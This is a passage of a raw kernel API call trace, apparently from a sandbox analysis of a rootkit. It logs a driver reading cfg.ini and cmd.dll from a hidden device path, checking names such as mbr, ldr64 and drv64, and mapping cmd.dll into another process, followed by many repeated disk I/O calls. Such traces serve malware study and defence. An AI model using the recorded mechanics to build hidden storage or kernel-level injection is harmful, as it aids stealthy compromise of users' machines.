KeEnterCriticalRegion () [0099.738] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.738] IoGetRequestorProcess (Irp=0xfffffa8003671350) returned 0xfffffa80018ab040 [0099.738] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800392c400, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0099.738] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.738] KeLeaveCriticalRegion () [0099.738] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0099.738] _snprintf (in: _Dest=0xfffff88002f8f330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0099.738] KeEnterCriticalRegion () [0099.738] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.738] ExFreePoolWithTag (P=0xfffffa80037bc090, Tag=0x0) [0099.738] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.739] KeLeaveCriticalRegion () [0099.739] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0099.739] KeStackAttachProcess (in: PROCESS=0xfffffa8003923630, ApcState=0xfffff88002f8fa58 | out: PROCESS=0xfffffa8003923630, ApcState=0xfffff88002f8fa58) [0099.739] _snwprintf (in: _Dest=0xfffffa800392c54c, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd.dll") returned 33 [0099.739] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8fa38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd.dll") [0099.739] ZwOpenFile (in: FileHandle=0xfffff88002f8f9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f8fa08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8fa48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f8f9e8*=0xffffffff8000052c, IoStatusBlock=0xfffff88002f8fa48) returned 0x0 [0099.739] _snprintf (in: _Dest=0xfffff88002f8f150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd.dll") returned 16 [0099.739] KeEnterCriticalRegion () [0099.739] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.739] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.739] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.739] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.739] KeInitializeEvent (in: Event=0xfffff88002f8efc0, Type=0x0, State=0 | out: Event=0xfffff88002f8efc0) [0099.739] IdePortDispatch () returned 0x103 [0099.739] KeWaitForMutexObject () returned 0x0 [0099.739] _strnicmp (_Str1="cfg.ini", _Str="cmd.dll", _MaxCount=0x10) returned -7 [0099.739] _strnicmp (_Str1="mbr", _Str="cmd.dll", _MaxCount=0x10) returned 10 [0099.739] _strnicmp (_Str1="ldr16", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0099.739] _strnicmp (_Str1="ldr32", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0099.739] _strnicmp (_Str1="ldr64", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0099.739] _strnicmp (_Str1="drv32", _Str="cmd.dll", _MaxCount=0x10) returned 1 [0099.739] _strnicmp (_Str1="drv64", _Str="cmd.dll", _MaxCount=0x10) returned 1 [0099.739] _strnicmp (_Str1="cmd.dll", _Str="cmd.dll", _MaxCount=0x10) returned 0 [0099.739] _strnicmp (_Str1="cmd.dll", _Str="cmd.dll", _MaxCount=0x10) returned 0 [0099.739] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003890e60 [0099.739] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.739] KeLeaveCriticalRegion () [0099.739] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0099.739] ZwCreateSection (in: SectionHandle=0xfffff88002f8f9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff8000052c | out: SectionHandle=0xfffff88002f8f9e0*=0x24) returned 0x0 [0099.739] _snprintf (in: _Dest=0xfffff88002f8f260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd.dll") returned 16 [0099.739] KeEnterCriticalRegion () [0099.739] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.739] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.739] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.739] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.739] KeInitializeEvent (in: Event=0xfffff88002f8f0f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0f0) [0099.739] IdePortDispatch () returned 0x103 [0099.740] KeWaitForMutexObject () returned 0x0 [0099.740] _strnicmp (_Str1="cfg.ini", _Str="cmd.dll", _MaxCount=0x10) returned -7 [0099.740] _strnicmp (_Str1="mbr", _Str="cmd.dll", _MaxCount=0x10) returned 10 [0099.740] _strnicmp (_Str1="ldr16", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0099.740] _strnicmp (_Str1="ldr32", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0099.740] _strnicmp (_Str1="ldr64", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0099.740] _strnicmp (_Str1="drv32", _Str="cmd.dll", _MaxCount=0x10) returned 1 [0099.740] _strnicmp (_Str1="drv64", _Str="cmd.dll", _MaxCount=0x10) returned 1 [0099.740] _strnicmp (_Str1="cmd.dll", _Str="cmd.dll", _MaxCount=0x10) returned 0 [0099.740] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.740] KeLeaveCriticalRegion () [0099.740] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0099.740] ZwMapViewOfSection (in: SectionHandle=0x24, ProcessHandle=0xffffffff800004f8, BaseAddress=0xfffff88002f8f9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f8fa00, InheritDisposition=0x2, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f8f9d0*=0x7efa0000, SectionOffset=0x0, ViewSize=0xfffff88002f8fa00*=0x9000) returned 0x0 [0099.740] RtlImageNtHeader (BaseAddress=0x7efa0000) returned 0x7efa00f8 [0099.740] _snprintf (in: _Dest=0xfffff88002f8f390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd.dll") returned 16 [0099.740] KeEnterCriticalRegion () [0099.740] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.740] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88004032000 [0099.740] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.740] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.740] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.740] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.740] IdePortDispatch () returned 0x103 [0099.740] KeWaitForMutexObject () returned 0x0 [0099.740] _strnicmp (_Str1="cfg.ini", _Str="cmd.dll", _MaxCount=0x10) returned -7 [0099.740] _strnicmp (_Str1="mbr", _Str="cmd.dll", _MaxCount=0x10) returned 10 [0099.740] _strnicmp (_Str1="ldr16", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0099.740] _strnicmp (_Str1="ldr32", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0099.740] _strnicmp (_Str1="ldr64", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0099.740] _strnicmp (_Str1="drv32", _Str="cmd.dll", _MaxCount=0x10) returned 1 [0099.741] _strnicmp (_Str1="drv64", _Str="cmd.dll", _MaxCount=0x10) returned 1 [0099.741] _strnicmp (_Str1="cmd.dll", _Str="cmd.dll", _MaxCount=0x10) returned 0 [0099.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.741] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.741] IdePortDispatch () returned 0x103 [0099.741] KeWaitForMutexObject () returned 0x0 [0099.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.741] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.741] IdePortDispatch () returned 0x103 [0099.741] KeWaitForMutexObject () returned 0x0 [0099.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.741] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.741] IdePortDispatch () returned 0x103 [0099.741] KeWaitForMutexObject () returned 0x0 [0099.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.741] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.741] IdePortDispatch () returned 0x103 [0099.742] KeWaitForMutexObject () returned 0x0 [0099.742] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.742] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.742] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.742] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.742] IdePortDispatch () returned 0x103 [0099.742] KeWaitForMutexObject () returned 0x0 [0099.742] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.742] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.742] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.742] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.742] IdePortDispatch () returned 0x103 [0099.743] KeWaitForMutexObject () returned 0x0 [0099.743] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.743] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.743] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.743] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.743] IdePortDispatch () returned 0x103 [0099.743] KeWaitForMutexObject () returned 0x0 [0099.744] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.744] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.744] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.744] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.744] IdePortDispatch () returned 0x103 [0099.744] KeWaitForMutexObject () returned 0x0 [0099.744] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.744] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.744] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.744] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.744] IdePortDispatch () returned 0x103 [0099.744] KeWaitForMutexObject () returned 0x0 [0099.744] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.744] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.744] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.744] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.744] IdePortDispatch () returned 0x103 [0099.744] KeWaitForMutexObject () returned 0x0 [0099.744] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.744] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.744] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.744] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.744] IdePortDispatch () returned 0x103 [0099.745] KeWaitForMutexObject () returned 0x0 [0099.745] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.745] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.745] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.745] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.745] IdePortDispatch () returned 0x103 [0099.745] KeWaitForMutexObject () returned 0x0 [0099.745] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.745] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.745] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.745] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.745] IdePortDispatch () returned 0x103 [0099.745] KeWaitForMutexObject () returned 0x0 [0099.745] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.745] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.745] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.745] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.745] IdePortDispatch () returned 0x103 [0099.745] KeWaitForMutexObject () returned 0x0 [0099.746] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.746] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.746] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.746] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.746] IdePortDispatch () returned 0x103 [0099.746] KeWaitForMutexObject () returned 0x0 [0099.746] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.746] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.746] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.746] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.746] IdePortDispatch () returned 0x103 [0099.746] KeWaitForMutexObject () returned 0x0 [0099.746] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.746] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.746] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.746] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.746] IdePortDispatch () returned 0x103 [0099.746] KeWaitForMutexObject () returned 0x0 [0099.746] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.746] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.747] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.747] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.747] IdePortDispatch () returned 0x103 [0099.747] KeWaitForMutexObject () returned 0x0 [0099.747] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.747] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.747] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.747] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.747] IdePortDispatch () returned 0x103 [0099.747] KeWaitForMutexObject () returned 0x0 [0099.747] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.747] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.747] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.747] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.747] IdePortDispatch () returned 0x103 [0099.747] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.748] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.748] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.748] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.748] IdePortDispatch () returned 0x103 [0099.748] KeWaitForMutexObject () returned 0x0 [0099.748] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.748] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.748] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.748] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.748] IdePortDispatch () returned 0x103 [0099.748] KeWaitForMutexObject () returned 0x0 [0099.748] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.748] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.748] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.748] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.748] IdePortDispatch () returned 0x103 [0099.748] KeWaitForMutexObject () returned 0x0 [0099.748] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.748] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.748] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.748] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.748] IdePortDispatch () returned 0x103 [0099.749] KeWaitForMutexObject () returned 0x0 [0099.749] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.749] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.749] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.749] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.749] IdePortDispatch () returned 0x103 [0099.749] KeWaitForMutexObject () returned 0x0 [0099.749] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.749] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.749] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.749] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.749] IdePortDispatch () returned 0x103 [0099.749] KeWaitForMutexObject () returned 0x0 [0099.749] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.749] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.749] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.749] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0099.749] IdePortDispatch () returned 0x103 [0099.750] KeWaitForMutexObject () returned 0x0 [0099.750] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.750] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.750] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: 